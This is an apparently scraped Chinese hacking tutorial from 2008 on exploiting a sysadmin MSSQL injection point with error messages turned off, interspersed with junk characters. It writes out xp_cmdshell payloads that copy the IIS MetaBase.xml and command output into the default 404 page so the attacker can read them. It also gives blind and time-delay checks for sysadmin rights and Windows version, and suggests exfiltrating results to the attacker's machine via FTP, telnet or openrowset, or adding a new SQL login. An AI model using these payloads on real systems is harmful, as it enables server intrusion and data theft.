遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。/ ]! _9 C9 R, {& j1 j0 o$ n
1 }7 s( ^: @5 P1 @$ o
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
G: ^ \3 M; }( M8 k
" _* t/ m' n: _7 g 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
$ g# I) U9 s1 c/ u: x5 r$ {1 d8 n; M4 r7 h1 B+ X. A
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
: K! O5 |; e9 J; L8 q+ X
- x4 n. d, l) [& B) ? 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
+ f0 R) W$ d6 V# Q, n" k: a) E$ P* O# ~
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
& S. F9 O' @ s9 @+ W) ]/ i" D+ O* w# _$ @
执行命令得到回显1 H, A! O6 i1 w+ z/ x/ D: E" N
" d5 R9 e- J' d$ ` }; _
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
# y" `$ ~# j& E% b% C2 U# C) b! D. i' a# P# r& g$ f
得到文件也shi相同,把文件copy到404b.htm就行了
% |7 m4 ~' k% n- X0 c7 L5 g# w6 k: r& J' K' A& _! H' M
by 28ice, 2008/6/265 d0 K. \0 s6 U* I
6 I/ S9 C U5 k* A5 M
摘自 28度的冰
$ P/ ?' l! b6 T5 {7 S9 b& i0 c0 d
4 D- _! {% R( M3 Z2 v; A( u- G 盲注判断权限和操作系统版本
7 B# J' a0 y0 H: ^" t. R" X' u+ i9 g% I9 S# ?0 E8 v$ ^; }, a
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
) ]. ^* P1 B) C, Y8 u7 J' H
3 ]/ ?! ^2 n4 a5 G1 m7 e" Y 最简单的,可能以用这样的方法:# W0 B$ h2 n- N, J4 Y+ S
& O: R* Z) a6 {: Q5 w( {) _' | 1=(select IS_SRVROLEMEMBER(’sysadmin’))4 O- k0 o g9 |$ ^4 E! w( y
9 r/ I7 M0 m. Y" _ 当然,有些情况下,这个方法并不奏效。+ \, }# P# q6 Y2 b9 U
6 b- S; f8 f$ n- b# j7 }* ?0 Q 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。& l7 z; j9 R+ P* E; ?
& s9 c7 P& ~! P# a
有个3办法可能以解决这个问题" l6 @3 Z- H* T5 }
% A$ q3 t: b' W* _( n1 B: L a.把执行结果写到404b.htm,具体请看我的上一篇文章
5 e( Q1 |) C; P! c) O
. x2 o) @: V/ }2 m1 E& v" N b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟. i3 e, x, u* l" c
, N- @0 O% v8 A) i
c.如果1433端口可能以连接,那干脆新建个sql登录
" |8 N$ ?' X2 }1 w# Q2 x$ P
' n; o+ T7 T; m2 T d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
3 x2 {! m" y# l) ^( H. V0 P
$ g# K" |. A1 ~/ T7 T- [ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下5 c( }" D5 x% k. u+ v5 }6 s
( v. k( Q3 W( t4 d1 w V6 e' R
很简单
- n1 Q5 v5 b+ P/ l
6 z# v2 m: w" T; } 执行systeminfo
8 d4 T+ f& D* f- J, N, e# {4 [- d: ^/ R! }9 r
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |